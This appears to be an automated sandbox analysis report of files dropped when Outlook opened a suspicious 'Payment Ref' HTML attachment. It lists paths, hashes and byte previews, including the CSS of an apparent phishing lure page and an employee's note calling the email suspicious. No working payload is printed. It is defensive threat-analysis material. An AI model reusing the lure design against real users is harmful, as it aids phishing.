Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos_26215680</Id><LAT>2024-10-21T22:12:16Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos_45876480</Id><LAT>2024-10-21T22:12:16Z</LAT><key>27160079615.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215680</Id><LAT>2023-10-06T09:55:52Z</LAT><key>23001069669.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_26215426</Id><LAT>2023-10-06T09:55:52Z</LAT><key>37262344671.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215682</Id><LAT>2023-10-06T09:55:52Z</LAT><key>28367963232.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-06T09:55:52Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	322260
Entropy (8bit):	4.000299760592446
Encrypted:	false
SSDEEP:
MD5:	CC90D669144261B198DEAD45AA266572
SHA1:	EF164048A8BC8BD3A015CF63E78BDAC720071305
SHA-256:	89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
SHA-512:	16F8A8A6DCBAEAEFB88C7CFF910BCCC71B76A723CF808B810F500E28E543112C2FAE2491D4D209569BD810490EDFF564A2B084709B02963BCAF6FDF1AEEC59AC
Malicious:	false
Reputation:	unknown
Preview:	51253fe60063c31af0d295afb42228b0:v2:2:1:1590:2:8479:76bd602437550e98c9043d06a55186ab7d95dea5a0e935a599f73e62a8c9b158e0afcb19351f6c353940c06a38172b94d18c02cf92bb8a80184eccca0392b259ab3e71dae73e491c7941997cb36ad4a198661f622dad478d840f66d530a0dde78acea3367f91fff62fbb3dc18faff0c708ad30edef5bea8b22c5fd782b770d8993386eaa784fd19a3c3e1db3b537b1a94d3d4fbd46f8df8fddf6d16611969fe0a97c50e0f3ac24750c93257cf5c161184aa7385800c87d803b339632a3d8ec7fe17a0afd83ce9e9d0e3f7b8d579637928a811f1f7e6d1887df2ddc7d4f752c4d600235e426c92c7bf8a1362f95457998cc0e5d4261f0efa4fada0f866dbcefb407dacab7a2914e91c2f08200f38c2d9d621962145b1464b0f204b326118a53ecdcab22bff005fdd5257c99a6dc51ac0600a49f2ef782396987e78c08b846dad5db55e8ccefffc64863bc2c3e90b95a09d25d0814a848c98fe01a82d4e30e6682dd546e12c45ca0d280a45295ab4bd632dafb070edfdc3c9e38313d5aeb195972986f8011b66817028fd8c78b67a0ac7e780eecc3fb6a31f5a025b8a9a3db278a98c0696aeaac739b18688b0f9c7d751bba02cc5f4e41853fb119b3c0c915059aaa92971244a1989124f12881ca88e6410df70b793a2c3a736ff4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.9219280948873623
Encrypted:	false
SSDEEP:
MD5:	FC9A44FB8613225C45EF7AEF95823385
SHA1:	63D6ACB5B7C62A617D7AC4E3140317C92BC97CB7
SHA-256:	7A040926E878F8D2A6C2FB701DFB46F33F1E536DF7EC9EC0D8A5069E49FD1B9E
SHA-512:	59095D1AB8789B17E40E061DE36E0AA81843EDCFB6DBBB3E81BD2694FAF831039DF15EF7D859856CE3839C3829FEEA6445ABA998AE8B4F72CC9CDF4A5990A100
Malicious:	false
Reputation:	unknown
Preview:	1729548738

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04567525615967531
Encrypted:	false
SSDEEP:
MD5:	CB87B08B5314AD1DC3D9393AFF8807A1
SHA1:	A486D32DB8202D3A84BB970CB0A78A48EEEACD13
SHA-256:	D5ED9F9E1EE39FE63241C0AB53D0459EBBC11188A1D48CB896A5AD38A7B3737C
SHA-512:	B1CDE3F13F7000203ED2C1E6817E4D692B0D162DFF32F9E3A63E52D76440F5FC23E32055D33881887E62BD4118AF48DAB9368276B90D88B62EAEE5A7BDBF2B85
Malicious:	false
Reputation:	unknown
Preview:	..-.......................-].f.O.P6..M.?.....-.......................-].f.O.P6..M.?...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	49472
Entropy (8bit):	0.4837328983534442
Encrypted:	false
SSDEEP:
MD5:	756207DA1C63B7496697EF0B56F37650
SHA1:	85536EAFC89E0339169A00A227CD9D3AE2A4BB42
SHA-256:	0CDBB20853668EF8997BA27547104DCC814C7C2759A3C77B22521179F8CF3B15
SHA-512:	AF5D4630169AE0697B1CEC095C62C5E3E92773A2F94F1E31549D559AAEDC2A95D79474DF6083758A04DDF28F6DAD18D4026E44C50DA34E48E85CF5861A7DD3A8
Malicious:	false
Reputation:	unknown
Preview:	7....-..........f.O.P6$..y..s.........f.O.P6R...;B.SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\5744F239.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 108x20, components 3
Category:	dropped
Size (bytes):	1662
Entropy (8bit):	7.712791629200678
Encrypted:	false
SSDEEP:
MD5:	562DA83AC9B048424FD63042D19F2BB1
SHA1:	8CB36F3DDB1895FD13D245B1201777620FECBD04
SHA-256:	DFA82FDF54AF6DD970105D73173128759E5D27BFFB9B8AEB271664B054B51C96
SHA-512:	38E09159BC7E12B21332CA39389F2649E778F63166FAD0EBBCCC28E4EAFF42DBBC58BC2ED1803E7ED65CE1DD696376C27AD7840D9B02BB2EF19FBDA2F353CFA9
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================........l.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....}...VJ~X!20.c..e\|7...Ko..<R.......UO.\...k...Z.[G.l .j....7..9C..o...P...........'.]....c.3l.z .~}....{O...].a.A...[....l...k...%.k..3..../ ....O.u.,.}......V.....O...+..8.+l.....g.5....~..r.O%@..d..`.....I....K.\..$u+..Y.W.~$.1.[...8.K5..A.{~..+..l;".....=n.9%f66p..$...O.5N.E..?kg.;.........g.`..fg.<O{$].n.c_\.......]Yl.+.I.Q...\E..~....I_e......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef (002).html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, ASCII text, with very long lines (30582), with CRLF line terminators
Category:	dropped
Size (bytes):	36310
Entropy (8bit):	5.895122748149876
Encrypted:	false
SSDEEP:
MD5:	F7C1A755ED108A1D66231052F54BA707
SHA1:	FE62C850B716C7B40B6054FBA8E83F7690EDF64D
SHA-256:	62ADC2E55E9549A4A21061BEAE1FEA324305780F16C1F84F9C99A34E17015470
SHA-512:	0240C4C09FA98FEBCD8D89B970AE18A166642E5C0903F2ACA88020E31F1896FEA9DD971D61E921260FA8FB8114CFA621DC3F6175C26F38F109EA329F8D2AD39F
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <style>.. body {.. display: flex;.. flex-direction: column;.. align-items: center;.. justify-content: center;.. height: 100vh;.. font-family: Arial, sans-serif;.. background-color: #f0f0f0;.. }.. #logo {.. width: 150px;.. height: auto;.. }.. #progress {.. width: 50%;.. background-color: #ddd;.. border-radius: 5px;.. overflow: hidden;.. margin-top: 20px;.. }.. #bar {.. height: 10px;.. width: 0;.. background-color: #4caf50;.. transition: width 0.1s;.. }.. #countdown {.. margin-top: 10px;.. font-size: 18px;.. }.. #mathQuestion {.. margin-

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef (002).html:Zone.Identifier (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, ASCII text, with very long lines (30582), with CRLF line terminators
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	F7C1A755ED108A1D66231052F54BA707
SHA1:	FE62C850B716C7B40B6054FBA8E83F7690EDF64D
SHA-256:	62ADC2E55E9549A4A21061BEAE1FEA324305780F16C1F84F9C99A34E17015470
SHA-512:	0240C4C09FA98FEBCD8D89B970AE18A166642E5C0903F2ACA88020E31F1896FEA9DD971D61E921260FA8FB8114CFA621DC3F6175C26F38F109EA329F8D2AD39F
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <style>.. body {.. display: flex;.. flex-direction: column;.. align-items: center;.. justify-content: center;.. height: 100vh;.. font-family: Arial, sans-serif;.. background-color: #f0f0f0;.. }.. #logo {.. width: 150px;.. height: auto;.. }.. #progress {.. width: 50%;.. background-color: #ddd;.. border-radius: 5px;.. overflow: hidden;.. margin-top: 20px;.. }.. #bar {.. height: 10px;.. width: 0;.. background-color: #4caf50;.. transition: width 0.1s;.. }.. #countdown {.. margin-top: 10px;.. font-size: 18px;.. }.. #mathQuestion {.. margin-

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Reputation:	unknown
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{C9374C2A-CB83-4CAE-AA9D-F830C04B8990}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	2440
Entropy (8bit):	2.9576009191603223
Encrypted:	false
SSDEEP:
MD5:	01B6A085377F4B1C86F32056F755D798
SHA1:	5317627F5148601CDD35B4FB74FD4951AD347EDF
SHA-256:	F012225BF0BC26209CA13734ADA732F5CAE370B2E5C6976F387B7746A7FB02E0
SHA-512:	E227FF4B1AFF8B1064DDAEBE3A03A41666F9483B4689CAB3E440EA0EA81088B1D05961F924B9A9F122908CCCFC05835F535A8E9BC8999CAC35A749571C00A944
Malicious:	false
Reputation:	unknown
Preview:	....G.o.o.d. .a.f.t.e.r.n.o.o.n.,...T.h.i.s. .e.m.a.i.l. .l.o.o.k.e.d. .s.u.s.p.i.c.i.o.u.s. .t.o. .m.e.,. .a.n.d. .I. .d.o.n.. t. .t.h.i.n.k. .w.e. .a.r.e. .c.u.r.r.e.n.t.l.y. .w.o.r.k.i.n.g. .w.i.t.h. .. B.e.l.g.i.n.. ..........R.u.s.s.e.l.l. .E.d.e.n. .\|. .D.i.r.e.c.t.o.r. .o.f. .C.a.s.h. .a.n.d. .C.r.e.d.i.t...................................................................................................................................................................................................................$...................<...H...................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729548735249153900_08331380-BF91-4702-9273-8F74D6311B73.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (28783), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.17969592156475575
Encrypted:	false
SSDEEP:
MD5:	D49C16E40B54FB55C24946222F1EEA4B
SHA1:	D090DD09D5248D46873621E56CA959EA68318759
SHA-256:	78A5FC7CCF930529D57C225077B5973FFC1CFFB8FF950DE83E3DC24499C9A819
SHA-512:	EAF79810A462667C77136297DF252019698597ED6A2CAD8ED3F2EB06DC84D397EDBC6F234CE7389C662B4578FB22DC1B06BD4BF068010EDC0B458F770D943924
Malicious:	false
Reputation:	unknown
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/21/2024 22:12:15.293.OUTLOOK (0x950).0x1168.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":27,"Time":"2024-10-21T22:12:15.293Z","Contract":"Office.System.Activity","Activity.CV":"gBMzCJG/AkeSc4901jEbcw.4.11","Activity.Duration":18,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...10/21/2024 22:12:15.309.OUTLOOK (0x950).0x1168.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":29,"Time":"2024-10-21T22:12:15.309Z","Contract":"Office.System.Activity","Activity.CV":"gBMzCJG/AkeSc4901jEbcw.4.12","Activity.Duration":11161,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajorVe

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729548735250267800_08331380-BF91-4702-9273-8F74D6311B73.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241021T1812080203-2384.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	modified
Size (bytes):	94208
Entropy (8bit):	4.458638667818269
Encrypted:	false
SSDEEP:
MD5:	5B61B075D3AE75ACB49DF8234D9EA0FF
SHA1:	4D9F3C4150692E30F331FDAAFCF02C7D72921477
SHA-256:	29A980E9D093EA75A5D265734DCC4B43174A1BBA64C67A80484994DFF56FFF50
SHA-512:	9130CFF22E6A731EC61ABD35399630351CD7689AB573950B7D6F5C0FE749E0C11EB329D5E281F68D81BA202D99210B5C2DB3FA02B78FBB91A45B7AE3D5C8E2E2
Malicious:	false
Reputation:	unknown
Preview:	............................................................................b...h...P....8.D.$..................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1..............................................................Y...........8.D.$..........v.2._.O.U.T.L.O.O.K.:.9.5.0.:.3.7.4.e.d.0.7.8.2.1.c.a.4.8.2.2.8.7.4.0.a.5.8.5.7.c.1.c.e.1.0.c...C.:.\.U.s.e.r.s.\.t.o.r.r.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.0.2.1.T.1.8.1.2.0.8.0.2.0.3.-.2.3.8.4...e.t.l.............P.P.h...P....8.D.$..................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF45AA49C5F1B2176C.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF49CEAEF41742EE06.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3613836054883338
Encrypted:	false
SSDEEP:
MD5:	679672A5004E0AF50529F33DB5469699
SHA1:	427A4EC3281C9C4FAEB47A22FFBE7CA3E928AFB0
SHA-256:	205D000AA762F3A96AC3AD4B25D791B5F7FC8EFB9056B78F299F671A02B9FD21
SHA-512:	F8615C5E5CF768A94E06961C7C8BEF99BEB43E004A882A4E384F5DD56E047CA59B963A59971F78DCF4C35D1BB92D3A9BC7055BFA3A0D597635DE1A9CE06A3476
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF93EE098D511BB9A2.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	0.3671263510270974
Encrypted:	false
SSDEEP:
MD5:	237D935C1385256955A0221FBCD0E38D
SHA1:	8C65C7E1FA731EFDF9A7617BE609B9C223593A47
SHA-256:	46DE5C8A1DE9285C3836EE3422F2265377A74BD17B9B84B6F5F96FDEB5E06402
SHA-512:	60BB38A8B3C9D4965B61ECE9B3EF79784DAA394BBA7269EED08F06F801A5F3D61DC07C4AA352EDDDEA2A60FD7EEC687A41DE93A26D1CBCFA30847C62FA8E9F2C
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:
MD5:	D2397E86213453106FA55307065AFC65
SHA1:	54FA27C0DA1E84E1E6ADB4718A29FFE2DC850C7C
SHA-256:	A7AA34C8CB0326205E3972AECEC2EEF1345E8468BA6EE320ECF6802636244615
SHA-512:	DB11FE66C4C0DB38AAB6FCB4217625D24FCF4A0C9DA641C70AF0EC2674899F688134858B96248EB36C3CAEA6CF23B23E329AA0E83BF1870E2A2FCEDABFDE449D
Malicious:	false
Reputation:	unknown
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.6684298690009627
Encrypted:	false
SSDEEP:
MD5:	911686975B7816C85E53F47635C33B39
SHA1:	F5A7F241B0B3E1530EBEBC43A0B2E09393355AE9
SHA-256:	02C321DB18A1D56774BFDAD49CFB9692C42B1BABE8612B58668FD8CF84BA79BA
SHA-512:	8DE67FC34A1641800A1C36923B16C53BE9F78EC78C6D0C73D5309FDDB28E69B1F61435C6FBCF4416A4BA10D32E0B2B7148A1234C93C6408437B485CC284184E7
Malicious:	true
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 21 21:12:31 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9929427064514615
Encrypted:	false
SSDEEP:
MD5:	90E06A8B013C76825CF70AB37D83658B
SHA1:	62B2C07B1CE660A51B6683595557AD10BB778FF2
SHA-256:	8C498BB733C4512D689427474D42C048CE129C45DB9A6AD3A06D664F2C2479B0
SHA-512:	BE94AA860701EA60E3CE803AF71FBA6F614318C6C641B05251DB5D781499D2EB248FE1010D1D52AF2BF3824537329087322A3CF2F4CEC5D3648AD88EEA175887
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....%.R.$......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IUYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VUY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VUY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VUY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........?.pR.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 21 21:12:31 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.008259689362906
Encrypted:	false
SSDEEP:
MD5:	2CE33CF1A052C2143A7D45D35351EA8A
SHA1:	201D43DAECEB9227EBF1D0DD63C5053A492B32C4
SHA-256:	09CD54DAAD972149CA74A48AA210E30CB322CBE29097275409F52674CCECCCEB
SHA-512:	DA9E78ADD337BE1BEE8C7B163A983491F6CB485B484859446DFE7C42C3046A47AB0F1855D829FED8E7209D6E81F1D18DE981FE7AD0435DA8D04D7A122BC50B36
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......R.$......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IUYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VUY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VUY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VUY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........?.pR.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.016351437983497
Encrypted:	false
SSDEEP:
MD5:	BD1F35641902B42888EBBF62E76C7E86
SHA1:	EDA28AFEE35444FF5495DCDB1174E3501929342F
SHA-256:	8CD43666376C21E2AA65565813F9D95F7FEF7A0EE6E7DCEFB0AA8428810C523C
SHA-512:	6CDF1C07FC1F65210B9C69FAE6F8FA493B58ACE214ED1FA83DD22F5518C936A9DBA7D7D95954BDA809F0E8244AB7FFDA09DA2461B33B61E2B1A9C6326831A583
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IUYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VUY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VUY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........?.pR.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 21 21:12:31 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.007006280374535
Encrypted:	false
SSDEEP:
MD5:	A0C661BBEE15BEF4A0EDD1D6CD675B36
SHA1:	EE4D33FCE2F9D52671A022649DEC1B462087EE74
SHA-256:	3FE77566FC2DE9F61E39917BB8012AFE6680BC4E5A8A9334EAD5633787E0452B
